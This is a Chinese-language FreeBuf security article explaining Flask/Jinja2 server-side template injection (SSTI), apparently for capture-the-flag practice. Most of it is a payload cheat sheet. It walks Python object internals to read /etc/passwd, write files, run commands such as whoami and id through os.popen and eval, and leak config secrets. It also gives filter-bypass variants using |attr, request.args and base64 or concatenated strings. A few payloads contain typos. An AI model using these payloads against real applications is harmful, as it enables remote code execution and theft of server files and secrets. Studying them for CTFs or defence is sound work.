freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SSTI注入
2021-11-19 11:28:39

SSTI注入

Flask SSTI漏洞

Flask SSTI 题的基本思路就是利用 python 中的 魔术方法找到自己要用的函数。

  • dict:保存类实例或对象实例的属性变量键值对字典

  • class:返回调用的参数类型

  • mro:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

  • bases:返回类型列表

  • subclasses:返回object的子类

  • init:类的初始化方法

  • globals:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

basemro都是用来寻找基类的。

基本流程

使用魔术方法进行函数解析,再获取基本类:

''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用

获取基本类后,继续向下获取基本类 object 的子类:

object.__subclasses__()

找到重载过的init类(在获取初始化属性后,带 wrapper 的说明没有重载,寻找不带 warpper 的):

>>>''.__class__.__mro__[2].__subclasses__()[99].__init__
<slotwrapper'__init__'of'object'objects>
>>>''.__class__.__mro__[2].__subclasses__()[59].__init__
<unboundmethodWarningMessage.__init__>

查看其引用 builtins

Python 程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于 builtins 却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块。

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']

这里会返回 dict 类型,寻找 keys 中可用函数,直接调用即可,使用 keys 中的 file 以实现读取文件的功能:

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()

读文件:

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()

写文件:

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write()

存在的子模块可以通过 .index() 来进行查询,如果存在的话返回索引,直接调用即可。

还有另外的方法:

[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

写文件换为 .write() 即可。

命令执行

No.1

利用eval 进行命令执行。

''.__class__.__mro__[2].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
{{().__class__.__bases__[0].__subclasses__([75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

No.2

利用warnings.catch_warnings 进行命令执行。

首先,查看 warnings.catch_warnings 方法的位置:

[].__class__.__base__.__subclasses__().index(warnings.catch_warnings)

查看 linecatch 的位置:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')

查找 os 模块的位置:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')

查找 system 方法的位置:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')

调用 system 方法:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')

No.3

利用 commands 进行命令执行。

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

姿势集

1)

{{config}} 可以获取当前设置,如果题目是这样的:

app.config ['FLAG'] = os.environ.pop('FLAG')

可以直接访问 {{config['FLAG']}} 或者 {{config.FLAG}} 得到 flag。

2)

同样可以找到 config。

{{self.__dict__._TemplateReference__context.config}}

3)

[]、()

{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG]}}

4)

url_for、g、request、namespace、lipsum、range、session、dict、get_flashed_messages、cycler、joiner、config等

如果上面提到的 config、self 不能使用,要获取配置信息,就必须从它的全局变量(访问配置 current_app 等)。例如:

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

5)

过滤了 []、.

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

在这里使用 pop 函数并不会真的移除,但却能返回其值,取代中括号来实现绕过。

若.也被过滤,使用原生 JinJa2 函数 |attr()

即将 request.class改成 request|attr("class")

6)

过滤下划线 _

利用 request.args 的属性

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

将其中的 request.args 改为 request.values,则利用 post 的方式进行传参。

GET:

{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}

POST:

class=__class__&mro=__mro__&subclasses=__subclasses__

7)

过滤引号 "

request.args 是 flask 中的一个属性,为返回请求的参数,这里把 path 当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

8)

一些关键字被过滤。

base64编码绕过

用于getattribute使用实例访问属性时。

例如,过滤掉 class关键词

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

字符串拼接绕过

{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
{{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}

常见SSTI的payload

python2:

#文件读取和写入
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}  

#每次执行都要先写然后编译执行
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }}  

#命令执行
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}  

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}

#这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

#system函数换为popen('').read(),需要导入os模块
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

#不需要导入os模块,直接从别的模块调用
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

python3:

#读文件
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('d://whale.txt').read()}}

#命令执行
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

#命令执行(变种)
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

#读文件(变种)
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
# web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录